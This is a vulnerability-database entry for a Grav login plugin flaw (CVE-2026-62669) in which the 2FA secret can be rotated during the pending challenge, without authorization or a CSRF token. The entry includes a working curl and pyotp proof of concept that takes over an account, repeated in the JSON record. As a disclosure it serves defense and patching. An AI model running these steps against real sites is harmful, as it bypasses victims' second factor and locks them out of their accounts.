GHSA-7MGC-C7PQ-3RR3
Vulnerability from github – Published: 2026-09-02 22:01 – Updated: 2026-09-02 22:01
VLAI
Summary
Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge
Details
Summary
When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofa_secret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.
Details
Four code locations in login plugin v3.8.10 enable the chain:
1. Session user set even with 2FA pending
user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.
2. taskRegenerate2FASecret - no authorization check
user/plugins/login/classes/Controller.php
public function taskRegenerate2FASecret()
{
$user = $this->grav['user'];
if ($user->exists()) { // ← only checks exists(), NOT authorized()
$secret = $twoFa->createSecret();
$user->twofa_secret = $secret; // overwrites victim's secret on disk
$user->save();
$json_response = [
'status' => 'success',
'image' => $image,
'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker
];
}
}
3. No CSRF nonce required
user/plugins/login/login.php - the task dispatch switch only validates twofa_cancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.
PoC
Confirmed live on this instance after enabling plugins.login.twofa_enabled: true and configuring TOTP on the user account.
# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
"http://127.0.0.1/grav/login" \
-d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"
# Step 2: Regenerate the 2FA secret (NO nonce required)
curl -s -b /tmp/2fa.jar \
"http://127.0.0.1/grav/login/task:login.regenerate2FASecret"
# {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
# Step 3: Compute TOTP from the attacker-chosen secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656
# Step 4: Complete 2FA with attacker's TOTP code
curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \
-d "task=login.twofa&2fa_code=152656"
# Step 5: Verify - fully authenticated as victim
curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout'
# Grav User Logout
Impact
Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.
The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.
Severity
7.4 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62669"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T22:01:25Z",
"nvd_published_at": "2026-08-19T16:18:19Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the `login.regenerate2FASecret` task which requires only `$user-\u003eexists()`, not `$user-\u003eauthorized` can be called without a CSRF nonce. It overwrites the victim\u0027s `twofa_secret` on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is **reduced to password-only**. The exploit was confirmed live after enabling 2FA to a user.\n\n### Details\nFour code locations in login plugin v3.8.10 enable the chain:\n\n**1. Session user set even with 2FA pending** \n`user/plugins/login/login.php` - `userLogin()` assigns `$session-\u003euser = $user` before TOTP verification completes. This makes `$this-\u003egrav[\u0027user\u0027]` point to the victim in the pending-challenge window.\n\n**2. `taskRegenerate2FASecret` - no authorization check** \n`user/plugins/login/classes/Controller.php`\n\n```php\npublic function taskRegenerate2FASecret()\n{\n $user = $this-\u003egrav[\u0027user\u0027];\n if ($user-\u003eexists()) { // \u2190 only checks exists(), NOT authorized()\n $secret = $twoFa-\u003ecreateSecret();\n $user-\u003etwofa_secret = $secret; // overwrites victim\u0027s secret on disk\n $user-\u003esave();\n $json_response = [\n \u0027status\u0027 =\u003e \u0027success\u0027,\n \u0027image\u0027 =\u003e $image,\n \u0027secret\u0027 =\u003e trim(preg_replace(\u0027|(\\w{4})|\u0027, \u0027\\\\1 \u0027, $secret)) // \u2190 returned to attacker\n ];\n }\n}\n```\n\n**3. No CSRF nonce required** \n`user/plugins/login/login.php` - the task dispatch switch only validates `twofa_cancel` for nonce. `regenerate2FASecret` is not guarded, making it exploitable via a single unauthenticated GET request on the victim\u0027s session.\n\n### PoC\n**Confirmed live** on this instance after enabling `plugins.login.twofa_enabled: true` and configuring TOTP on the `user` account.\n\n```bash\n# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)\nLOGIN_PAGE=$(curl -s -c /tmp/2fa.jar \"http://127.0.0.1/grav/login\")\nNONCE=$(echo \"$LOGIN_PAGE\" | grep -oP \u0027name=\"login-form-nonce\" value=\"\\K[^\"]+\u0027)\ncurl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \\\n \"http://127.0.0.1/grav/login\" \\\n -d \"username=user\u0026password=Summer2024!\u0026task=login.login\u0026login-form-nonce=${NONCE}\"\n\n# Step 2: Regenerate the 2FA secret (NO nonce required)\ncurl -s -b /tmp/2fa.jar \\\n \"http://127.0.0.1/grav/login/task:login.regenerate2FASecret\"\n# {\"status\":\"success\",\"secret\":\"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5\",...}\n\n# Step 3: Compute TOTP from the attacker-chosen secret\npython3 -c \"import pyotp; print(pyotp.TOTP(\u0027FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5\u0027).now())\"\n# 152656\n\n# Step 4: Complete 2FA with attacker\u0027s TOTP code\ncurl -s -L -b /tmp/2fa.jar -X POST \"http://127.0.0.1/grav/login\" \\\n -d \"task=login.twofa\u00262fa_code=152656\"\n\n# Step 5: Verify - fully authenticated as victim\ncurl -s -b /tmp/2fa.jar \"http://127.0.0.1/grav/\" | grep -o \u0027Grav User\\|Logout\u0027\n# Grav User Logout\n```\n\n### Impact\nComplete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim\u0027s password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim\u0027s legitimate TOTP secret is permanently overwritten on disk via `$user-\u003esave()`, locking them out of their own account.\n\nThe endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting `http://target/login/task:login.regenerate2FASecret` on any attacker-controlled page would have their 2FA secret silently rotated.",
"id": "GHSA-7mgc-c7pq-3rr3",
"modified": "2026-09-02T22:01:25Z",
"published": "2026-09-02T22:01:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-7mgc-c7pq-3rr3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62669"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav-plugin-login/commit/5d1b722298cb947d8f434025d121b99152a2c630"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav-plugin-login/releases/tag/3.8.11"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/releases/tag/2.0.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grav: 2FA Bypass via \u0027login.regenerate2FASecret\u0027 - Secret Rotation During Pending Challenge"
}
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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